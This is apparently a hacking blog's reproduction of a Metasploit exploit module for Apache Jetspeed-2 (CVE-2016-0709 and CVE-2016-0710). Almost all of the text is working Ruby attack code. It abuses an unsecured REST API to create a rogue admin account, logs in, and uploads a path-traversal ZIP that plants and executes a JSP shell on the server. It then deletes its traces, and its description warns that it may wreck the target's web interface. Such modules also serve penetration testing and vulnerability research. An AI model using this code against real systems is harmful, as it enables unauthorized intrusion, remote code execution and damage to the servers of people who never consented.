Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86384447

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Jetspeed Arbitrary File Upload',
      'Description'    => %q{
        This module exploits the unsecured User Manager REST API and a ZIP file
        path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier
        versions, to upload and execute a shell.

        Note: this exploit will create, use, and then delete a new admin user.

        Warning: in testing, exploiting the file upload clobbered the web
        interface beyond repair. No workaround has been found yet. Use this
        module at your own risk. No check will be implemented.
      },
      'Author'         => [
        'Andreas Lindh', # Vulnerability discovery
        'wvu'            # Metasploit module
      ],
      'References'     => [
        ['CVE', '2016-0710'],
        ['CVE', '2016-0709'],
        ['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
        ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
        ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
      ],
      'DisclosureDate' => 'Mar 6 2016',
      'License'        => MSF_LICENSE,
      'Platform'       => ['linux', 'win'],
      'Arch'           => ARCH_JAVA,
      'Privileged'     => false,
      'Targets'        => [
        ['Apache Jetspeed <= 2.3.0 (Linux)',   'Platform' => 'linux'],
        ['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win']
      ],
      'DefaultTarget'  => 0
    ))

    register_options([
      Opt::RPORT(8080)
    ])
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_warning(msg='')
    super("#{peer} - #{msg}")
  end

  def exploit
    print_status("Creating admin user: #{username}:#{password}")
    create_admin_user
    # This was originally a typo... but we're having so much fun!
    print_status('Kenny Loggins in')
    kenny_loggins
    print_warning('You have entered the Danger Zone')
    print_status("Uploading payload ZIP: #{zip_filename}")
    upload_payload_zip
    print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
    exec_jsp_shell
  end

  def cleanup
    print_status("Deleting user: #{username}")
    delete_user
    super
  end

  #
  # Exploit methods
  #

  def create_admin_user
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/jetspeed/services/usermanager/users',
      'vars_post' => {
        'name'             => username,
        'password'         => password,
        'password_confirm' => password
      }
    )
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => "/jetspeed/services/usermanager/users/#{username}",
      'vars_post' => {
        'user_enabled' => 'true',
        'roles'        => 'admin'
      }
    )
  end

  def kenny_loggins
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/jetspeed/login/redirector'
    )

    res = send_request_cgi!(
      'method'    => 'POST',
      'uri'       => '/jetspeed/login/j_security_check',
      'cookie'    => res.get_cookies,
      'vars_post' => {
        'j_username' => username,
        'j_password' => password
      }
    )

    @cookie = res.get_cookies
  end

  # Let's pretend we're mechanize
  def import_file
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/jetspeed/portal/Administrative/site.psml',
      'cookie' => @cookie
    )

    html = res.get_html_document
    import_export = html.at('//a[*//text() = "Import/Export"]/@href')

    res = send_request_cgi!(
      'method' => 'POST',
      'uri'    => import_export,
      'cookie' => @cookie
    )

    html = res.get_html_document
    html.at('//form[*//text() = "Import File"]/@action')
  end

  def upload_payload_zip
    zip = Rex::Zip::Archive.new
    zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)

    mime = Rex::MIME::Message.new
    mime.add_part(zip.pack, 'application/zip', 'binary',
                  %Q{form-data; name="fileInput"; filename="#{zip_filename}"})
    mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
    mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')

    case target['Platform']
    when 'linux'
      register_files_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
      register_files_for_cleanup("../temp/#{username}/#{zip_filename}")
    when 'win'
      register_files_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
      register_files_for_cleanup("..\\temp\\#{username}\\#{zip_filename}")
    end

    send_request_cgi(
      'method' => 'POST',
      'uri'    => import_file,
      'ctype'  => "multipart/form-data; boundary=#{mime.bound}",
      'cookie' => @cookie,
      'data'   => mime.to_s
    )
  end

  def exec_jsp_shell
    send_request_cgi(
      'method' => 'GET',
      'uri'    => "/jetspeed/#{jsp_filename}",
      'cookie' => @cookie
    )
  end

  #
  # Cleanup methods
  #

  def delete_user
    send_request_cgi(
      'method' => 'DELETE',
      'uri'    => "/jetspeed/services/usermanager/users/#{username}"
    )
  end

  # XXX: This is a hack because FileDropper doesn't delete directories
  def on_new_session(session)
    super
    case target['Platform']
    when 'linux'
      print_status("Deleting user temp directory: ../temp/#{username}")
      session.shell_command_token("rm -rf ../temp/#{username}")
    when 'win'
      print_status("Deleting user temp directory: ..\\temp\\#{username}")
      session.shell_command_token("rd /s /q ..\\temp\\#{username}")
    end
  end

  #
  # Utility methods
  #

  def username
    @username ||= Rex::Text.rand_text_alpha_lower(8)
  end

  def password
    @password ||= Rex::Text.rand_text_alphanumeric(8)
  end

  def jsp_filename
    @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
  end

  def zip_filename
    @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
  end

end